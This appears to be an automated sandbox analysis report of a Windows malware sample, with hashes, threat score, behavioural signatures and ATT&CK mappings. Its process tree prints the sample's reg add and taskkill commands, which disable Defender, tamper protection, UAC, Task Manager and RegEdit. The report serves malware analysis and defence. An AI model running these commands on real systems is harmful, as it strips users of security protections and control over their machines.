Analysis
- user interaction
yes - max time kernel
46s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260629-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
01/07/2026, 17:30
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
GRoupALEst5bariya.exe
Resource
win10v2004-20260513-en
16 signatures
150 seconds
Behavioral task
behavioral2
Sample
GRoupALEst5bariya.exe
Resource
win11ltsc2024-20260629-en
7 signatures
150 seconds
General
- Target GRoupALEst5bariya.exe
- Size 772KB
- Sample260701-v3dhmacz2s
- SHA256 638f9dbc41b67ab2b01bee1de5490de419f839e64ed5fb1883679c21fb5755f6
- MD5 6bbe8482b15e0e972256609394f3ee29
- SHA1 ad0f9d5eb12a21b6a2e8dfb137ae692ca8b95fdc
- SHA512 f83435b52a2aec223aea42dae62025e4ffcd26e632f147b50cc7b4491464f26d186a61db73b2a8c8d921dcc7b8d562764e1e7aaab808d9bcc2b63e3d6b3de128
- SSDEEP 12288:42JMi0S0WgzQvrJlRuu4jH9FKX8SHbQFP50jcGEoBl:lJj0PQvbRubgXo50jcGEoBl
- TLSH T13AF4068326DA1CFAEE932B3854DF533AA735FE708B6A8B674504D2311D135D1AD2BB40
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
Malware Config
Signatures
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description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" reg.exe - UAC bypass 3 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" reg.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-3865087520-2734723108-1233268525-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" reg.exe - Disables Task Manager via registry modification
- Kills process with taskkill 1 IoCs
pid Process 916 taskkill.exe - Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 1460 GRoupALEst5bariya.exe Token: SeIncBasePriorityPrivilege 1460 GRoupALEst5bariya.exe - Suspicious use of WriteProcessMemory 7 IoCs
description pid Process procid_target PID 1460 wrote to memory of 4600 1460 GRoupALEst5bariya.exe 88 PID 1460 wrote to memory of 1160 1460 GRoupALEst5bariya.exe 90 PID 1460 wrote to memory of 5676 1460 GRoupALEst5bariya.exe 92 PID 1460 wrote to memory of 2284 1460 GRoupALEst5bariya.exe 94 PID 1460 wrote to memory of 1276 1460 GRoupALEst5bariya.exe 96 PID 1460 wrote to memory of 3284 1460 GRoupALEst5bariya.exe 98 PID 1460 wrote to memory of 916 1460 GRoupALEst5bariya.exe 100
Processes
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C:\Users\Admin\AppData\Local\Temp\GRoupALEst5bariya.exe"C:\Users\Admin\AppData\Local\Temp\GRoupALEst5bariya.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1460 -
C:\Windows\SYSTEM32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f2⤵PID:4600
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C:\Windows\SYSTEM32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 0 /f2⤵PID:1160
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C:\Windows\SYSTEM32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f2⤵
- Modifies Windows Defender DisableAntiSpyware settings
PID:5676
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C:\Windows\SYSTEM32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f2⤵
- UAC bypass
PID:2284
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C:\Windows\SYSTEM32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f2⤵PID:1276
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C:\Windows\SYSTEM32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f2⤵
- Disables RegEdit via registry modification
PID:3284
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C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im explorer.exe2⤵
- Kills process with taskkill
PID:916
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Network
MITRE ATT&CK Enterprise v16
Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Create or Modify System Process
1Windows Service
1